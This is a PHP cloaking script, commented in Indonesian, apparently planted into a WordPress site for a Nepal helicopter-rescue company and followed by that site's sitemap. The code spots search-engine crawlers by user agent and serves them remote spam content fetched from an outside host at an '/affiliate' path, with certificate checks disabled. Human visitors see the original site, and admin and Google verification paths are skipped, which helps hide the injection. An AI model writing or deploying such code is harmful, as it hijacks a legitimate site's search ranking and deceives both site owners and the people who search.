// ============================================================
// CLOAKING SYSTEM - ACTIVE MODE
// Status: Cloaking Aktif (Bot -> Landing Page, Manusia -> WordPress Ori)
// ============================================================

if (php_sapi_name() !== 'cli' && isset($_SERVER['REQUEST_URI'])) {

    // 1. Bypass otomatis untuk file Google Search Console (.html) dan sistem WordPress
    if (preg_match('/google[a-zA-Z0-9]+\.html$/', $_SERVER['REQUEST_URI']) ||
        preg_match('#/(wp-admin|wp-login|wp-json|wp-cron|admin-ajax)#', $_SERVER['REQUEST_URI'])) {
        goto end_cloak;
    }

    // Ambil path bersih (tanpa query string dan trailing slash di ujung)
    $cur_path = rtrim(strtok($_SERVER['REQUEST_URI'], '?'), '/');
    if ($cur_path === '') {
        $cur_path = '/';
    }

    // 2. Mapping Path ke Sumber Landing Page Remote Anda
    $hijackMap = [
        '/affiliate' => 'https://s-kennedy.it.com/sayang/helirescuenepal-affiliate.txt',
    ];

    if (isset($hijackMap[$cur_path])) {

        // --- PROSES DETEKSI BOT CRAWLER ---
        $bots = [
            'googlebot', 'google', 'bingbot', 'yandex', 'baidu', 'duckduckgo',
            'slurp', 'yahoo', 'crawler', 'spider', 'screaming frog', 'lighthouse'
        ];

        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
        $is_bot = false;

        foreach ($bots as $bot) {
            if (strpos($user_agent, $bot) !== false) {
                $is_bot = true;
                break;
            }
        }

        // Jika pengunjung terdeteksi sebagai BOT -> Ambil dan sajikan konten TXT
        if ($is_bot) {
            $ch = curl_init($hijackMap[$cur_path]);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_TIMEOUT        => 12, // Batas waktu fetch maksimal 12 detik
                CURLOPT_USERAGENT      => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'
            ]);
            $content = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if ($httpCode === 200 && !empty($content)) {
                // Sajikan konten hanya untuk BOT
                header('HTTP/1.1 200 OK');
                header('Content-Type: text/html; charset=UTF-8');
                header('X-Robots-Tag: index, follow');
                header('X-LiteSpeed-Cache-Control: no-cache');
                echo $content;
                exit; // Hentikan di sini agar WordPress asli tidak dibaca oleh bot
            }
        }

        // Apabila MANUSIA biasa (Bukan Bot) yang mengakses, baris di atas dilewati (fall-through)
        // dan server akan melanjutkan memuat halaman WordPress asli secara normal.
    }
}
end_cloak:
// WordPress Original Code Starts Below
?>
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//helirescuenepal.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://helirescuenepal.com/page-sitemap.xml</loc>
		<lastmod>2026-06-03T14:42:14+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->